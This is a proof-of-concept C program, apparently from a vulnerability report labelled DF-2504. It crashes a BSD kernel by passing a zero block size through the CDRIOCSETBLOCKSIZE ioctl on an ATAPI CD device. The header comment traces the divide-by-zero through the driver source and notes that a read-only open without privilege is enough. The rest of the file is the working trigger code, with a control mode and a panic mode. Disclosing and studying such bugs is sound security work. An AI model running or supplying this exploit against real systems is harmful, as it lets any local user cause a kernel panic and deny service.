DF-2504 / poc_setblocksize.c
/* * poc_setblocksize.c -- DF-2504 trigger * * sys/dev/disk/nata/atapi-cd.c:723-726 (acd_ioctl): * * case CDRIOCSETBLOCKSIZE: * cdp->block_size = *(int *)ap->a_data; <-- user int, no check * acd_set_ioparm(dev); * * acd_set_ioparm at atapi-cd.c:951: * * cdp->cdev->si_iosize_max = rounddown(cdp->iomax, cdp->block_size); * * with rounddown(x,y) == ((x)/(y))*(y) (sys/sys/param.h:400). * block_size == 0 => 65534 / 0 => integer divide fault in kernel * context => fatal trap => panic. No privilege check on this ioctl * (contrast CDIOCRESET three cases above, which does * caps_priv_check(SYSCAP_RESTRICTEDROOT)); O_RDONLY open suffices. * * Usage: * poc_setblocksize /dev/acd0 2352 -> control: set 2352 + read back * poc_setblocksize /dev/acd0 -> fatal: set 0 (panic expected) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdrio.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/acd0"; int fd, bs; printf("== DF-2504 PoC ==\n"); fflush(stdout); fd = open(dev, O_RDONLY); if (fd < 0) { fprintf(stderr, "open(%s, O_RDONLY): %s\n", dev, strerror(errno)); return (1); } printf("open(%s, O_RDONLY) = fd %d\n", dev, fd); if (argc > 2) { bs = atoi(argv[2]); printf("control: CDRIOCSETBLOCKSIZE(%d) ... ", bs); fflush(stdout); if (ioctl(fd, CDRIOCSETBLOCKSIZE, &bs) < 0) printf("errno=%s\n", strerror(errno)); else printf("ok\n"); bs = -1; if (ioctl(fd, CDRIOCGETBLOCKSIZE, &bs) == 0) printf("control: CDRIOCGETBLOCKSIZE -> %d\n", bs); return (0); } printf("firing CDRIOCSETBLOCKSIZE(0): atapi-cd.c:724 stores 0 into " "cdp->block_size, :951 rounddown(iomax=65534, 0) divides -- " "FATAL TRAP expected\n"); fflush(stdout); if (ioctl(fd, CDRIOCSETBLOCKSIZE, &(int){0}) == 0) printf("ioctl returned success (UNEXPECTED -- no divide)\n"); else printf("ioctl error: %s\n", strerror(errno)); close(fd); return (0); } |